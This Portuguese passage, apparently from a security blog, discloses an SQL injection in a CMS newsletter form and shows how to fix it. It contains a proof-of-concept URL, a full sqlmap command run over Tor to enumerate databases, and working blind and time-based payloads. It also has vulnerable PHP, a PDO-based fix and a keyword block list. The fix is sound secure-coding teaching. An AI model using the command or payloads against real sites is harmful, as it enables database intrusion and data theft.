- INJECTION e devido seus erros nao tratados no server side, muitas vezes sao ownadas por 'BOTS', sim bots. que ao identificar esse erro de Syntax SQL ja comeca injetar comandos par extracao de informacoes.MAS SO TRATAR OS ERROS DA MINHA APLICACAO JA ME DEIXA SEGURO ?A resposta e NAO!Apesar de ser informacoes basicas tanto pequenas quanto grande empresas incluindo governos ainda sofrem com isso.Vamos aos BUGS da JourdandesignDemonstrarei somente um.ARQUIVO:newsletter_done.phpREQUEST POST:nome=bypass&email=bypass@aduneb.com.br&Submit3=cadastrarPOC:http://www.vul.com.br/newsletter_done.php?nome=bypass+{SQL_INJECTION_BLIND}&email=bypass@aduneb.com.br+{SQL_INJECTION_BLIND}&Submit3=cadastrarGERANDO ERRO PASSANDO CARACTERES MALICIOSOSERRO EXPOSTO:Pelos campos passados podemos perceber que tais parametros fazem parte da newsletter do "CMS", mas manipulando tais valores, saindo da validacao javascript podemos bypassar.Dica: sempre validar dados no lado servidor, seja ele vindo de clientes logados ou nao. Se o request e feito pelo usurario, nao confie no Request filtre.EXPLORACAO VIA SQLMAP:COMANDO:sqlmap -u 'http://www.vull.com.br/newsletter_done.php' --data "nome=bypass&email=123#2*@aduneb.com.br#1*&Submit3=cadastrar" -p nome --random-agent --level 3 --risk 2 --tor --tor-type=SOCKS5 --dbs --thread 5PRINT:RETURN SQLMAP DEBUG PAYLOAD:Parameter: #1* ((custom) POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) Payload: nome=bypass&email=-7840') OR 1946=1946#@aduneb.com.br#1&Submit3=cadastrar Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT - comment) Payload: nome=bypass&email=123#2') AND (SELECT * FROM (SELECT(SLEEP(10)))Vxmq)#@aduneb.com.br#1&Submit3=cadastrarParameter: #2* ((custom) POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) Payload: nome=bypass&email=-1051') OR 5045=5045#&Submit3=cadastrar Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT - comment) Payload: nome=bypass&email=123#2@aduneb.com.br#1') AND (SELECT * FROM (SELECT(SLEEP(10)))tdlq)#&Submit3=cadastrarCODIGO:Um exemplo de como pode esta o codigo do arquivo newsletter_done.php<?php$servername = "localhost";$username = "username";$password = "password";$dbname = "myDB";$nome = $_POST['nome'];$email = $_POST['email'];// Create connection$conn = new mysqli($servername, $username, $password, $dbname);// Check connectionif ($conn->connect_error) { die("Connection failed: " . $conn->connect_error);} $sql = "INSERT INTO newsletter (nome, email)VALUES ('{$nome}', '{$email}')";if ($conn->query($sql) === TRUE) { echo "EMAIL CADASTRADO COM SUCESSO!";} else { echo "Error: " . $sql . "<br>" . $conn->error;}$conn->close();?>Sem nem um tipo de filtro no request POST os valores sao setados direto nas variaveis da aplicacao.NAO FACA ISSO NUNCA!USE PDO!PDO E VIDA CARA!USE FILTROS!ISSO SALVA VIDAS!Um simples exemplo usando PDO e filtros:CODIGO:<?php$servername = "localhost";$username = "username";$password = "password";$dbname = "myDB";// VALIDANDO $_POST SE CAMPOS EXISTEM$nome = is_set($_POST['nome']) ? $_POST['nome'] : exit('<p>FALTA campo nome!</p>');$email = is_set($_POST['email']) ? $_POST['email'] : exit('<p>FALTA campo email!</p>');// FILTRANDO CAMPOS POST$nome = is_name($nome) ? $nome : exit('<p>NOME invalido!</p>');$email = is_email($email) ? $email : exit('<p>Email invalido!</p>');// INICIANDO CONEXAOtry {$dbh = new PDO("mysql:host={$servername};dbname={$dbname}",$username,$password); $stmt=$dbh->prepare("INSERT INTO newsletter (nome, email) VALUES (:nome, :email)");$stmt->bindParam(':nome' , $nome);$stmt->bindParam(':email', $email);$stmt->execute();$dbh = null;} catch (PDOException $e) { print "<p>Error!: SQL/INSERT - 0001</p>"; die();}// REF CODIGO: // http://php.net/manual/pt_BR/pdo.prepared-statements.php// http://php.net/manual/en/pdo.prepare.php//FUNCTION VALIDANDO SE VALORES PASSADOS EXISTEMfunction is_set($value) { return isset($value) && !empty($value) ? TRUE : FALSE;}// REF CODIGO:// http://php.net/manual/en/function.isset.php// http://php.net/manual/en/function.empty.php// FUNCTION FILTRANDO CARACTERES E VALIDANDO SE E EMAILfunction is_email($email){// Remove all illegal characters from email$email = filter_var($email, FILTER_SANITIZE_EMAIL);// Validate e-mailreturn (!filter_var($email, FILTER_VALIDATE_EMAIL) === false) ? true : false;}// REF CODIGO: // http://php.net/manual/en/filter.filters.sanitize.php // http://www.w3schools.com/php/filter_validate_email.asp// http://bobby-tables.com/php.html // FUNCTION FILTRANDO E VALIDANDO NOME// MODELO PARANOICOfunction is_name($name) { // FILTRO POSSIVEIS CARACTERES DE INJECAO foreach (array('0X', 'DROP', ';','--','UNION','CONCAT(','TABLE_','INFORMATION_',"'",'"') as $value) {$name = !strstr(strtoupper($name), $value) ? $name : FALSE; }// FILTRO POSSIVEIS CARACTERES DE INJECAO + HTML $name = (filter_var(stripslashes(strip_tags(trim($name))), FILTER_SANITIZE_STRING)); return $name;} ?>E um